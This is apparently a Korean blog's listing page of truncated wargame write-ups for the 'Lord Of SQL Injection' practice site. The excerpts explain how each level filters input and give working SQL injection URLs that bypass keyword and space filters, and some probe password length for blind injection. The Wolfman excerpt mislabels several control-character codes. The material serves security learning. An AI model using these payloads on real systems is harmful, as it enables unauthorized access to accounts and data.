분류 전체보기(333)
-
Lord Of SQL Injection [ 11. Golem ]
preg_match함수로 인해 or , and , substr( , = 필터링이 걸려있다이들 함수를 대체할 수 있는 것들을 찾아보자or => ||and => %26%26 ( && )substr => substring or mid함수 or left+right= => like , , 으로 대체 [ 패스워드 추측하기 ] 1> 패스워드 길이 확인하기 URL: https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=9999' || id like 'admin' %26%26 not length(pw) 8 %23 => SELECT id FROM prob_golem WHERE id='guest' and pw='9999' || id li..
2017.09.13 -
Lord Of SQL Injection [ 10.Skeleton ]
and 1=0 : 항상 거짓이기 때문에 SQL쿼리문을 실행시킬 수 없다URL: https://los.eagle-jump.org/skeleton_8d9cbfe1efbd44cfbbdc63fa605e5f1b.php?pw=9999' or id='admin' %23 => SELECT id FROM prob_skeleton WHERE id='guest' and pw='9999' or id='admin' #' and 1=0
2017.09.12 -
Lord Of SQL Injection [ 7.Orge ]
preg_match 함수에서 or , and 사용을 금지하고 있고, 비밀번호를 GET방식으로 입력받고, add|ashes함수를 이용해 변환한 뒤 DB에 저장된 패스워드와 비교한다 5번 오크문제와 같은 패스워드를 유추하는 블라인드 인젝션 문제입니다 [ 패스워드 유추 과정 ] 1> 패스워드 길이를 알아낸다 URL: los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=9999' || id='admin' %26%26 length(pw)=8 %23 2>패스워드의 첫번째 글자부터 유추한다 URL: los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=9999' || id='admin' %26%..
2017.09.12 -
Lord Of SQL Injection [ 6.DarkElf ]
preg_match함수에서 or , and 사용을 막아두고있다 or와 and를 대체할 수 있는 문자를 찾아야한다 or => " || " and => " && " , &&는 URL에서 변수구분자로 사용하고 있으므로 아스키코드 26을 사용하도록 한다 => %26 URL: https://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw=9999' || id='admin' %23 => SELECT id FROM prob_darkelf WHERE ( id='guest' and pw='9999' ) || id='admin' #'
2017.09.08 -
Lord Of SQL Injection [ 5. Wolfman]
pre_match 함수에서 공백을 사용할 수 없도록 제한을 두었다 SQL문에서 공백을 대체할 수 있는 문자들이 무엇이 있는지 살펴보자 0x09: NULL ( 탭 ) 0x10: New Line ( 줄 바꿈 ) 0x11: Vertical Tab 0x12: New Page ( 프린터 용지 먹임 ,새 페이지 ) 0x13: Carrige Return ( 줄바꿈 ) 해당 문자들을 URL에서 % 기호를 이용해서 사용할 수 있고, 주석을 이용해서 문자열을 구분시킬 수 있다 URL: https://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw=9999'or%0did='admin'%0a%23
2017.09.08 -
Lord Of SQL injection [ 4.Orc ]
GET방식으로 pw를 입력받는다 add|ashes() 함수를 통해서 비밀번호를 변환하고 그 비밀번호에 일치하는 비밀번호를 테이블에서 찾아낸다처음 입력한 패스워드와 테이블의 패스워드를 비교하여 일치하면 문제가 풀린다=> 직접 패스워드를 알아내야 하는 블라인드 인젝션 문제이다 사용할 함수는 ascii() , length() , substring() = substr() 함수이다ascii() : 입력받은 인자를 아스키 코드 10진수로 변환한다 length( 문자열 ) : 문자열의 길이를 반환한다substring( 문자열 , 시작위치 , 길이 ) : 문자열의 시작위치에서 잘라낼 문자개수를 지정하여 반환한다=> substr( 'abcd' , 2 , 2 ) = bc [ 비밀번호 유추 과정 ]1> 패스워드의 길이를 확..
2017.09.08